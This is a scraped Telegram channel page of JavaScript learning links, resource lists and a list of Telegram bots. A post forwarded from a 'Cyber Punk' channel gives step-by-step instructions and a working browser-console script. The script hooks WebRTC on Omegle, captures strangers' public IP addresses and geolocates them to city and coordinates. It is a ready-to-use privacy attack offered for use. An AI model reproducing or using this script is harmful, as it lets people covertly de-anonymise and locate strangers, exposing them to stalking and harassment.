Learn JavaScript
4.3K subscribers
459 photos
10 videos
132 files
3.02K links
All info, tutorial, JS tips and more ....!
bio.link/javascript_js_
For HTML: @html_web_learn
For CSS: @CSS_web_learn
For JS: @JavaScript_js_learn
For PHP: @learn_php_web
For Programming courses @Programmingworld_dev
For CEH,Cybersec: @technical_stark
Download Telegram
Practice with Dcode on some of the latest tips and tricks of modern JavaScript

https://www.youtube.com/watch?v=XsQlw2_1Pd8

#dcode #esm #es2020 #tips
Simple practice of creating a Task Management or Todo application with Node JS, Socket IO , Redis Db and React

https://blog.devgenius.io/task-management-app-with-react-socket-io-and-redis-ebffc4d0fde6

—-

How to implement simple lazy loading with Next JS

https://betterprogramming.pub/lazy-loading-in-next-js-simplified-435681afb18a

—-

Create SSRS-based web applications with React Remix JS

https://medium.com/bitsrc/create-a-server-side-rendered-app-using-remix-js-b937b5a8fec6

#react #nodejs #remix #next
Create a CSS Grid function whose column function automatically fills the remaining columns

https://css-tricks.com/an-auto-filling-css-grid-with-max-columns/

#css #grid #column
Discover the The State of JS 2021 results

https://2021.stateofjs.com

Front-end Framework rankings

https://2021.stateofjs.com/en-US/libraries/front-end-frameworks

Back-end Frameworks Rankings

https://2021.stateofjs.com/en-US/libraries/back-end-frameworks

JavaScript for mobile devices and desktop apps Rankings

https://2021.stateofjs.com/en-US/libraries/mobile-desktop

Build Tools-Compiling & bundling code Rankings

https://2021.stateofjs.com/en-US/libraries/build-tools

Tools used to manage JavaScript monorepos Rankings

https://2021.stateofjs.com/en-US/libraries/monorepo-tools

#StateOfJS
Forwarded from Learn CSS
Discover the The State of CSS 2021 results

https://2021.stateofcss.com

Pre-/Post-processors: Utilities that augment CSS Rankings

https://2021.stateofcss.com/en-US/technologies/pre-post-processors

CSS Frameworks-Libraries that give you pre-made components and styles.

https://2021.stateofcss.com/en-US/technologies/css-frameworks

CSS-in-JS:Libraries that help integrate CSS into JavaScript code. Rankings

https://2021.stateofcss.com/en-US/technologies/css-in-js

#StateOfCSS
Forwarded from Cyber Punk
👾👾How To Get Strangers IP’s And Location in Omegle👾👾

First thing , go ahead into 
omegle.com and press f12 / inspect element to get access to the developer tool (console):

After that, you will need to insert in a js script, but before that we need a api to get the strangers location from the ip. For that go into this website: 
https://ipgeolocation.io/ and signup and get your api key.

Once you got your api key, replace it by ‘YOUR_API_KEY_HERE’ in the first line of code:

Script:

const apiKey = "YOUR_API_KEY_HERE"; window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection; window.RTCPeerConnection = function (...args) { const pc = new window.oRTCPeerConnection(...args); pc.oaddIceCandidate = pc.addIceCandidate; pc.addIceCandidate = function (iceCandidate, ...rest) { const fields = iceCandidate.candidate.split(" "); console.log(iceCandidate.candidate); const ip = fields[4]; if (fields[7] === "srflx") { getLocation(ip); } return pc.oaddIceCandidate(iceCandidate, ...rest); }; return pc; }; const getLocation = async (ip) => { let url = https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}; await fetch(url).then((response) => response.json().then((json) => { const output = --------------------- Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} Lat / Long: (${json.latitude}, ${json.longitude}) --------------------- ; console.log(output); }) ); };

After that you have insert your api key etc… now you’re ready to go!

Click on “Video” on omegle:

Then insert the js script in the console, you’re all set!

Here’s what you must get in the console once you’re connected with a stranger:

As you can see we have all the location infos of the stranger including the ip, i’ve hidden the ip of the stranger for some security reasons.

❤️
==================================
Join Our Telegram Channel for more

@CyberPunk_anonymous
==================================
🔊 FREE RESOURCES TO LEARN FRONTEND WEB DEVELOPMENT 🔊


Free Course from Udacity

https://imp.i115008.net/ORo3jA

Free Certified Course from Freecodecamp

https://www.freecodecamp.org/learn/front-end-development-libraries/

Front-End Interview Prep

https://imp.i115008.net/5bmP6n

Learn HTML & CSS From Scratch
[4.6 star ratings out of 5]

https://bit.ly/3uv2fRS

Foundations of Front-End Web Development Free Udemy Course

https://bit.ly/3sltmfC

Front-end Developer Free Handbook

https://github.com/FrontendMasters/front-end-handbook-2019/raw/master/exports/Front-end%20Developer%20Handbook%202019.pdf

Eloquent JavaScript FREE BOOK

https://eloquentjavascript.net/Eloquent_JavaScript.pdf

To Practice your skills:

https://www.acefrontend.com/
https://www.codewars.com/
Seeing the difference in JavaScript on the browser side and on the Node JS backend side

https://css-tricks.com/node-javascript-compared-to-javascript/

---

Get to know the Math ceil and Math floor functions for rounding functions in JavaScript

https://javascript.plainenglish.io/introducing-math-ceil-and-math-floor-4c106f83e7b

---

Difference between Object freeze and Object seal in JavaScript

https://javascript.plainenglish.io/object-freeze-vs-object-seal-in-plain-english-813f27a71eb8

---

Introduction to iterators and Generators functions in JavaScript

https://javascript.plainenglish.io/iterators-and-generators-in-javascript-a-complete-guide-cd91566ae864

---

Some useful JavaScript tips for front end developers

https://blog.bitsrc.io/20-javascript-tips-front-end-engineers-need-to-know-b5626900a22

---

#nodejs #esm #tips #iterator #generator #object #freeze #seal
Get to know leoric JS, the ORM library for Node JS

https://leoric.js.org/

#library #leoric #orm #nodejs
Forwarded from Cyber Punk
LINKS TO ALL TELEGRAM BOTS!

1. Truecaller Bot!📞 -This bot searches for phone numbers in truecaller database

BOT:
@RespawnRobot

2. Website Down Checker Bot!🔼/🔼

A bot to help you easily check if your Website or Server is Up or Down

Bot:
@site_is_up_bot

3. Open In Whatsapp Bot!💬 -

Sometimes you want to quickly chat with someone without saving their number to your contacts (Think of delivery man).

You can send me phone number and bot responds back with a link that opens a chat with that number directly in whatsapp.

Bot:
@OiWA_bot

4. Youtube Downloader Bots!⬇️
Bot:
@YouTubeV2HEXbot
Bot:
@utuberabot
Bot :
@youtubednbot

5. Shazam Music Charts - Telegram Bot to Search for new Music in Lossless Quality.

Bot:
@ShazamMusicChartsBot

6)Pdf Bot!📃 : A bot that can do a lot of things related to PDF files

Bot:
@pdfbot

7)Screenshot Bot! -

Screenshot Generator Bot can provide screenshots from your video files with out downloading the entire file (almost instantly).

Bot :
@TG_ScreenShotBot

8)Allsaver Bot!📂 - This bot can download from Instagram, YouTube, TikTok and Pinterest.

Bot:
@allsaverbot

9. iPapkorn- A one-stop shop for a wide range of movies.

Bot :
@iPapkornBot

10. File Converter Bot!🔄

This bot allows to convert files from one format to another easily. It works with images, audio files, and videos.

Bot :
@newfileconverterbot

11. Temporary Mail!📩 -This Bot allows you to generate disposable email addresses and receive emails.

Bot :
@DropmailBot

12. Music Downloader Bot!🎶 -A bot where you can search and download Spotify music for free!

Bot:
@MusicDownloaderRobot

13. Skeddy Reminder! -Skeddy is a simple yet powerful reminder tool that can help you create and manage your reminders.

Bot:
@SkeddyBot

14. Reverse Image Search!

Search image source using Google, Bing, Yandex, ImgOps, etc.

@LCxRvsImgSrch_bot

15. Search Telegram Files🔍 -
Bot :
@ProSearchBot

16. Text To Speech!🗣️ - A bot that can translates your text messages to audio. You only need to specify the language, the voice type and it's done!

Bot :
@TextTSBot

17. Aximobot!📲 - a message forwarder from social networks (TikTok, Instagram, YouTube, etc), Telegram channels and RSS feeds.

Bot :
@AximoBot

18. Functions Bot!⚙️ A bot that canMake shorten url,Make/read QR codes ,Encrypt/decrypt messages,
Translate,Convert text to voice,Upload files,Make Pastebin links,And more...

Bot:
@FunctionsRobot

19. Get Images Inline Bot!🖼️ -
@pic

20. SMARTPHONE SPECS - A bot that can search smartphones, smart watch or tablet of any brand.

Bot :
@SmartphoneDBot

21. SAVE FILES -You can forward any Telegram messages to this bot and and it will save it for you.

@message_saver_robot

==================================
Join Our Telegram Channel for more

@CyberPunk_anonymous
==================================
The Ultimate Guide To The Angular App Shell

https://danielk.tech/home/angular-app-shell-ultimate-guide
Forwarded from All kind of Ebooks
html-css-javascript-pdf.pdf
652.8 KB
Beginner Notes
Multiple ways to manage state management in React JS

https://www.freecodecamp.org/news/how-to-manage-state-in-your-react-apps/

---

Configuring VS Code for use in React JS

https://www.freecodecamp.org/news/vscode-react-setup/

---

Using React Hooks for use in React JS projects

https://www.freecodecamp.org/news/react-hooks-your-next-project-needs/

---

Doing data fetching in Gatsby JS with GraphQL

https://blog.logrocket.com/data-fetching-gatsby-graphql/

#gatsby #graphql #react #hooks #state